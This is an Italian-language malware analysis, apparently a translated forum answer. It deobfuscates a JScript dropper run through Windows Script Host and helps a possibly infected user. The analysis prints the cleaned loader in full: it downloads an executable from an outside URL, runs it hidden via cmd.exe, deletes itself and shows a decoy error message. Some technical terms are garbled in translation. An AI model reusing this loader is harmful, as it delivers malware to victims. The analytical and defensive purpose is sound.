Come deobfuscare
Tutte le funzioni
Tutte le funzioni con nomi strani restituiscono semplicemente tutto ciò che viene loro passato. Quindi il codice come xmudzymza(["an"][0])
è in realtà solo un modo complesso di scrivere "an"
. Se copi incollare il codice in un editor con evidenziazione della sintassi, puoi leggere grandi parti del codice debianizzato semplicemente ignorando tutto ciò che non è evidenziato come stringhe letterali!
Creazione e test di ActiveXObject
Tra tutte le funzioni hai una percentuale non così ben nascosta ActiveXObject
:
uzuqevr = ActiveXObject;
Subito prima della clausola if compare di nuovo:
var agwibak = new uzuqevr(obrujaw(["Sc"][0]) + ... + qowokl(["ct"][0]);
var ctaqev = new['ukehkyk', Function, 'lebate'][1](repu(["va"][0]) + ... + nwavale([";"][0]));
Se si esegue solo la concatenazione di stringhe lunghe all'interno della parantesi nella console, si ottiene la stringa Scripting.FileSystemObject
. Quindi quello che abbiamo è in realtà questo:
var agwibak = new ActiveXObject("Scripting.FileSystemObject");
Sulla riga dopo questo abbiamo:
var ctaqev = new['ukehkyk', Function, 'lebate'][1](repu(["va"][0]) + ... + nwavale([";"][0]));
Crea un nuovo del primo elemento nel vettore, ovvero Function
. Il costruttore di funzioni crea una funzione da una stringa di codice, una sorta di come eval. La funzione è assegnata a ctagev
. Proprio come sopra, possiamo valutare la concatenazione di stringhe lunghe nella console (senza effettivamente eseguirla). Questa è la funzione:
(function() {
var ggelkigtu = agwibak.GetDrive(agwibak.GetDriveName('C:\oeokiotifgjvdkslsdfsdghrefvdfbdhgdgdfgd\dsgdgdfgdfgdf4353535345\sdfsfsdfsdfdsf')).SerialNumber; if(ggelkigtu < 0 || ggelkigtu > 0) return true; else return false;
})
Tale funzione viene quindi chiamata nella clausola if:
if (ctaqev()) { ... }
Quindi cosa fa? Prova a creare un oggetto ActiveXObject e assegnarlo a ggelkigtu
. Quindi restituisce un valore booleano basato su ggelkigtu < 0 || ggelkigtu > 0
. Se l'interprete JS non supporta ActiveX ggelkigtu
sarà undefined
e quella condizione sarà false
. Quindi se il tuo interprete non supporta ActiveX il contenuto della clausola if verrà ignorato.
All'interno della clausola if
Per offuscare questa parte devi fare due cose:
- Cambia i nomi dei nomi delle variabili ridicolmente lunghi (semplicemente facendo ricerche e sostituisci).
- Ancora una volta, rimuovi
xxxxxx(["ab"][0])
per ottenere le stringhe effettive.
Quello che ottieni è questo:
if (ctaqev()) {
long1 = this["WScript"];
long2 = long1["CreateObject"]("Scripting.FileSystemObject");
long3 = long1["CreateObject"]("WScript.Shell");
long4 = long1["CreateObject"]("L2TP");
long5 = long1["CreateObject"]("ADODB.Stream");
long6 = long2["GetSpecialFolder"]("2");
long7 = long2["GetTempName"]();
long8 = long4["open"]("T", "http://moosetraxtax.com/images/total.exe", "0");
long8 = long4["send"]();
long5["type"] = ["1"];
long9 = long4["ResponseBody"];
long10 = long1["ScriptFullName"];
long8 = long5["Open"]();
long8 = long5["Write"](long9);
long8 = long5["SaveToFile"](long6 + long7);
long8 = long5["Close"]();
long8 = long3["run"]("cmd.exe /c " + long6 + long7, "0");
long8 = long2["deleteFile"](long10);
}
long1["echo"]("The file is corrupt and cannot be opened");
Ripulendolo ancora (usando .
invece di [""]
e cambiando di nuovo i nomi delle variabili) otteniamo questo:
if(ctaqev()) {
fileSystem = WScript.CreateObject("Scripting.FileSystemObject");
shell = WScript.CreateObject("WScript.Shell");
l2tp = WScript.CreateObject("L2TP");
stream = WScript.CreateObject("ADODB.Stream");
folder = fileSystem.GetSpecialFoldder("2");
tempName = fileSystem.GetTempName();
x = l2tp.open("T", "http://moosetraxtax.com/images/total.exe", "0");
x = l2tp.send();
stream.type = "1";
response = l2tp.ResponseBody;
scriptName = WScript.ScriptFullName;
x = stream.Open()
x = stream.Write(response);
x = stream.SaveToFile(folder + tempName);
x = stream.Close();
x = shell.run("cmd.exe /c " + folder + tempName, "0");
x = fileSystem.deleteFile(scriptName);
}
WScript.echo("The file is corrupt and cannot be opened");
Che cosa fa? Sei infetto?
Non so molto di ActiveX, ma sembra sicuro che scarica un file da http://moosetraxtax.com/images/total.exe
e lo esegue. Sorprendentemente, solo tre venditori AV identificano quell'URL come malware su Total virus , ma penso che possiamo essere abbastanza sicuri è.
Se vuoi sapere cosa hai, puoi provare a scaricarlo da lì e investigare. Ovviamente questa è un'attività rischiosa, e non vi è alcuna garanzia che otterrete la stessa cosa.
L'esecuzione di questo script in un browser moderno sarebbe sicura, perché non supporta ActiveX. Ma lo hai eseguito con Windows Script Host. Non so cosa succederebbe se esistesse qualche limitazione di uno script eseguito da WSH, ma per essere al sicuro suppongo che il computer sia infetto e trattalo come tale .
Se vuoi essere sicuro di essere veramente infetto, ti consiglio quanto segue:
- Scopri cosa WSH consente davvero a uno script di fare. (Non conosco la risposta, scusa.)
- Controlla i log del tuo firewall (se ne hai uno) per vedere se la richiesta è stata bloccata.